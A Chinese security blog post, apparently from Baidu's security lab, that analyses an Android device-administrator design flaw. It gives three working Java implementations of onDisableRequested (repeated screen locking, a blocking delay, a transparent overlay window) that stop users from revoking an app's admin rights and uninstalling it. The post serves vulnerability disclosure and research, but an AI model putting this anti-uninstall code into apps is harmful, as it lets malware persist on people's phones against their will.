2013年6月,俄罗斯安全厂商卡巴斯基发现了史上最强手机木马-Obad.A。该木马利用了一个未知的Android设备管理器漏洞(ANDROID-9067882),已激活设备管理器权限的手机木马利用该漏洞,能够在设置程序的设备管理器列表中隐藏,这样用户就无法通过正常途径取消该手机木马的设备管理器权限。从而达到无法卸载的目的。Android4.2版本号以上系统已经修复该漏洞。(漏洞详情:http://blog.csdn.net/androidsecurity/article/details/9124747)

日前。百度安全实验室发现手机木马開始利用还有一新的Android设备管理器漏洞,新的设备管理器漏洞是由于Android系统在取消激活设备管理器流程的设计缺陷引起的。恶意软件利用该设计缺陷。能够阻止用户取消激活设备管理器,进而达到反卸载的目的。

该漏洞存在于Android系统全部版本号。

一、取消激活设备管理器源码分析

Android取消激活设备管理器流程源码:

Android取消激活设备管理器基本流程图:

1、ActivityManagerNative.getDefault().stopAppSwitch()方法功能

为什么第一步就调用该函数呢?通过源码凝视能够看出调用该函数目的是:禁止其他程序在用户取消设备管理器操作过程弹出Dialog,影响用户操作。

stopAppSwitch()源码例如以下图所看到的:

通过代码我们发现该方法的详细实现是:

规定在APP_SWITCH_DELAY_TIME时间内禁止进行Activity切换。

该方法调用后,全部应用的Activity调用请求会被系统放到挂起的请求队列中。

被挂起的Activity调用请求会在APP_SWITCH_DELAY_TIME时间后才会被系统运行。

通过调用stopAppSwitch()方法,系统保证在进入取消设备管理器界面后,5秒内不会进行Activity的切换。

二、漏洞原理分析

通过以上流程我们发现。在第8步设备管理器调用

DevicePolicyManagerService.removeActiveAdmin()取消激活设备管理器之前,DevicePolicyManagerService会调用应用的onDisableRequested方法获取取消激活的警示信息。

假设onDisableRequested函数返回内容为空的,第8步就会自己主动运行;假设onDisableRequested函数返回内容不能为空。会弹出Dialog显示返回的警示信息。提示用户是否取消激活。用户点击确认后才会运行第8步。

怎样阻止流程运行到第8步呢?

onDisableRequested是唯一在流程第8步之前被调用的函数。为了阻止流程走到第8步,onDisableRequested函数满足下面条件就可以:

1、返回内容不能为空。这样才干够使设备管理器弹出取消激活设备管理器警示信息  Dialog。

2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。

假设做到以上两点,程序就可以成功阻止用户取消激活设备管理器操作。

三、漏洞利用方法

下面提出三种能够利用该流程设计缺陷,成功阻止用户取消设备管理器的方法。

1、通过锁屏方式

  1. @Override
  2. public CharSequence onDisableRequested(Context context, Intent intent) {
  3. // TODO Auto-generated method stub
  4. Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
  5. intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  6. context.startActivity(intent1);
  7. final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
  8. dpm.lockNow();
  9. new Thread(new Runnable() {
  10. @Override
  11. public void run() {
  12. int i = 0;
  13. while(i<70){
  14. dpm.lockNow();
  15. try {
  16. Thread.sleep(100);
  17. i++;
  18. } catch (InterruptedException e) {
  19. e.printStackTrace();
  20. }
  21. }
  22. }
  23. }).start();
  24. return "This is a onDisableRequested response message";
  25. }

2、通过堵塞函数返回方式

  1. @Override
  2. public CharSequence onDisableRequested(Context context, Intent intent) {
  3. // TODO Auto-generated method stub
  4. Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
  5. intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  6. context.startActivity(intent1);
  7. try {
  8. Thread.sleep(7000);
  9. } catch (InterruptedException e) {
  10. e.printStackTrace();
  11. }
  12. return "This is a onDisableRequested response message";
  13. }

3、通过透明窗体劫持方式

  1. @Override
  2. public CharSequence onDisableRequested(Context context, Intent intent) {
  3. // TODO Auto-generated method stub
  4. Intent intent1 = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
  5. intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  6. context.startActivity(intent1);
  7. WindowManager.LayoutParams wmParams;
  8. final WindowManager mWindowManager;
  9. wmParams = new WindowManager.LayoutParams();
  10. mWindowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
  11. wmParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
  12. wmParams.format = PixelFormat.RGBX_8888;
  13. wmParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
  14. wmParams.gravity = Gravity.LEFT | Gravity.TOP;
  15. wmParams.alpha = 0;
  16. wmParams.x = 0;
  17. wmParams.y = 0;
  18. wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;
  19. wmParams.height = WindowManager.LayoutParams.MATCH_PARENT;
  20. final View contentView = new Button(context);
  21. mWindowManager.addView(contentView, wmParams);
  22. new Thread(new Runnable() {
  23. @Override
  24. public void run() {
  25. try {
  26. Thread.sleep(7000);
  27. } catch (InterruptedException e) {
  28. // TODO Auto-generated catch block
  29. e.printStackTrace();
  30. }
  31. mWindowManager.removeView(contentView);
  32. }
  33. }).start();
  34. return "This is a onDisableRequested response message";
  35. }

以上方法都会在onDisableRequested中,採用不同模式使用户能够5无法操作秒内接口。因为5秒Activity系统切换请求将被执行。

版权声明:本文博客原创文章,博客,未经同意,不得转载。

Android设备管理器漏洞2--禁止用户取消激活设备管理器的更多相关文章

  1. Android 设备管理器 阻止用户取消激活

    该方案测试可行,系统版本4.4.2.它算是借助android系统的一个bug,不确定在后续更高的版本中是否修复. 该功能和360防卸载功能一样的实现原理. 主要的参考资料是:http://bbs.pe ...

  2. Android设备管理器漏洞(转)

    一.漏洞描述 目前被称为“史上最强Android木马”的病毒Backdoor.AndroidOS.Obad.a利用Android设备管理器漏洞使用户无法通过正常方式卸载.其实该漏洞早在去年底已被发现. ...

  3. 安全错误使用CORS在IE10与Node和Express及XMLHttpRequest: 网络错误 0x4c7, 操作已被用户取消

    在IE下:VUE项目,后台替换为https请求之后,vue热更新请求挂起,控制台报错:XMLHttpRequest: 网络错误 0x4c7, 操作已被用户取消.但是chrome与Firefox正常 当 ...

  4. android提权漏洞CVE-2010-EASY修复【转】

    本文转载自: http://blog.csdn.net/lhj0711010212/article/details/9351131 android提权漏洞CVE-2010-EASY修复   linux ...

  5. Android新的漏洞的应用程序中的发现!

    最近,趋势科技发现一些Android中的漏洞应用程序内存.来发动攻击.我们调查了两个受影响的应用程序,大家来感受一下: .超过一千万次安装.及在下载页面拥有数十万笔用户留言的生产力应用程序(生产力应用 ...

  6. Linux—禁止用户SSH登录方法总结

    Linux-禁止用户SSH登录方法总结 一.禁止用户登录 1.修改用户配置文件/etc/shadow       将第二栏设置为"*",如下.那么该用户就无法登录.但是使用这种方式 ...

  7. ASP.net 实现禁止用户重复登录

    本文先为大家介绍如何利用缓存Cache方便地实现此功能. Cache与Session这二个状态对像的其中有一个不同之处,Cache是一个全局对象,作用的范围是整个应用程序,所有用户:而Session是 ...

  8. linux gcc++漏洞:普通用户获得root权限

    linux gcc++漏洞:普通用户获得root权限 2012-02-06 10:22:38|  分类: linux安全|举报|字号 订阅       经我测试在RHEL5 / CentOS5 / F ...

  9. [iOS微博项目 - 2.3] - 用户取消对app的授权

    github: https://github.com/hellovoidworld/HVWWeibo   A.用户取消对app的授权 用户可以在微博网站上取消对某个应用(app)的授权   1.打开& ...

随机推荐

  1. 认识axure组件区域

    组件区域也叫做部件区域,英文为widgets,还有人称之为控件区域,组件是axure事先准备好的网站项目常用的零件,比如一些基本的页面元素 Axure默认存在2个组件库,分别为线框图和流程图.同时我们 ...

  2. python中文注释及输出出错

    今天开始接触python,中文报错,你懂的,不细说. 网上很多类似的解决方案,有不是很明确,例如:http://blog.csdn.net/chen861201/article/details/770 ...

  3. 基于visual Studio2013解决C语言竞赛题之1077大数相加

        题目 解决代码及点评 /************************************************************************/ /* ...

  4. POJ 3481 &amp; HDU 1908 Double Queue (map运用)

    题目链接: PKU:http://poj.org/problem?id=3481 HDU:http://acm.hdu.edu.cn/showproblem.php?pid=1908 Descript ...

  5. SQL逆向工程

    话说有个现成的SQL数据库,四十来张表,每张表多的几十的字段,少的十几个字段.老板说为了下一步大家好好利用这个数据库中的数据,让你研究一下该数据库中的所有的表和字段之间的联系.这是一个什么性质的工作, ...

  6. Effective C++_笔记_条款05_了解C++默认编写并调用哪些函数

    (整理自Effctive C++,转载请注明.整理者:华科小涛@http://www.cnblogs.com/hust-ghtao/) 直接上代码: 1: class Empty{}; 如果你写了这样 ...

  7. C++学习之路—const用法总结

    (根据<C++程序设计>(谭浩强)整理,整理者:华科小涛,@http://www.cnblogs.com/hust-ghtao转载请注明) C++为什么要引入const?它允许你指定一个语 ...

  8. JDBC操作数据库的学习(2)

    在上一篇博客<JDBC操作数据库的学习(1)>中通过对例1,我们已经学习了一个Java应用如何在程序中通过JDBC操作数据库的步骤流程,当然我们也说过这样的例子是无法在实际开发中使用的,本 ...

  9. jquery控制动态生成的gridview中多列checkbox的全选反选及自动判断是否全选状态

    动态生成的Gridview的前台html代码如下:     <table class="usertableborder" cellspacing="0" ...

  10. 大数据时代的精准数据挖掘——使用R语言

    老师简介: Gino老师,即将步入不惑之年,早年获得名校数学与应用数学专业学士和统计学专业硕士,有海外学习和工作的经历,近二十年来一直进行着数据分析的理论和实践,数学.统计和计算机功底强悍. 曾在某一 ...